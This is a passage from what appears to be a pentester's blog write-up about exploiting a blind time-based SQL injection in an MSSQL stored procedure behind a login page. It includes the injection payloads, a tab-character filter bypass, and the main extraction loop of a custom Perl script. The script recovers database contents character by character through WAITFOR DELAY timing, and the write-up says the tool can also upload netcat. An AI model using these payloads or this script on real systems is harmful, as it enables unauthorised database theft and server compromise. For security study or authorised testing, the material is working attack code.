Procedure or function get_Etiqueta has too many arguments specified.

Then I realized we were dealing with a Stored Procedure which in fact was injectable, this could explain the restrictions and therefore the syntax error messages. Then I decide a new way of injection (below is the value inserted in the vulnerable POST parameter):

';<my_own_sql_query>;--

Above injection is saying, complete the current request, execute my own SQL command, and comment out the rest of the string.

When executed using fake table and field:

'; select xxx from table tabla'--

I did not get any error, just redirected back to main Login page. Then I realized we were not getting any responses from the DB and therefore in a Blind SQL Injection scenario, so I decided to use the famous WAITEFOR DELAY command from MSSQL to validate if my attempts were being executed in the server side, so I sent:

0';WAITFOR%09DELAY%09'0:0:15'

And voila!!! The browser waits 15 seconds to get the response from the Server!! Now we have identified the BUG, so, how can we exploit it? Let's go to the next section.

Exploit from Scratch.

I decided to use sqlmap or sqlninja to dump the database or to get a remote shell, but none works for me, just for one reason, those tools have their own methods to bypass filters, but unfortunately, the TAB (%09) trick is not handled by them and therefore all my injections were being rejected. It was a mess to adjust their tools so I decided to keep improving my own tools and come up with Regalado-blindSQL.pl perl script.

The main features of the tool are as follows:
  • Create a SQL procedure to assign the SQL query result to a variable.
  • The tool, iterates to each char from the result and compare it with the ASCII table to identify its value, if the value is found, the response will be delay by 10 seconds, this way the tool can identify if a char was identified.
  • Write output to a log file.
  • Implements netcat upload feature from Sqlninja tool, just changing the bypass technique and the Libraries used to established the SSL Connection.
Below the script to identify the chars in the response:

1. my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
2. " if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
3. " else waitfor delay '0:0:1'";

At Line 1, we create the variable @s and assign it the result of the $sql being executed.
At Line 2, the first char (denoted by $j) is subtracted from the string acquired and compare with the first value in the ASCII Table ($i).
This loops will repeat until the char is found and then $j will be incremented to move to the next char in the string.

The main loop to get the string, parse each char and compare it with ASCII TABLE is here:

while (length ($dato) > 0){ #Keep searching until no more data found
$dato ="";
for $j (1 .. 100){#This is the maximum text length to retrieve, although the tool knows when the string is complete
print "\t\nIdentificando char number: $j\n";
open (FILE,">>", "output.txt") or die $!; #Creating log file

for $i (32 .. 126){ #ASCII TABLE Printable chars only
$g = $i;
print "\t\nValidating if the letter exist: " . chr($i) . "\n";
my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
" if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
" else waitfor delay '0:0:1'";

send_request($prefix . $cmd . $postfix); #Send HTTPS request
if (check_time() eq "encontrado") { #validates the response to know if the car was detected.
last;
}
}

if ($r eq "encontrado"){
print "\t\nGetting Contenido ... " . $dato . "\n";
print FILE "Getting Contenido ...: " . $dato . "\n";
close(FILE);
}
else{ #No encontro ningun caracter y esto puede significr el fin de la palabra identificada

print "\t\n*********END OF CONTENT EXTRACTTION ... Moving to next one.\n";
last;
}
}
print "\t\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi******************\n";
print FILE "\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi****************\n";

$sql = $sql . " and $fi not like '". $dato . "'"; #preparing the next string to retrieve.
}
print "\t\nEND OF EXECUTION check output.txt log file.\n\n";

Finally, the tools is able to identify:
  • DB Name
  • DB User
  • DB Version
  • List of tables from current DB
  • List of fields from specific table
  • Content of tables
  • Upload netcat via sqlninja methods.
IMPORTANT: The tool DOES NOT FIND vulnerabilities, it assumes you already found one and need to leverage the exploitation. Being this said, you might need to change the $prefix and $postfix variables within the tool to adjust based on the way your application is exploitable.

References:
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

Please send me an email if you want a copy of the script.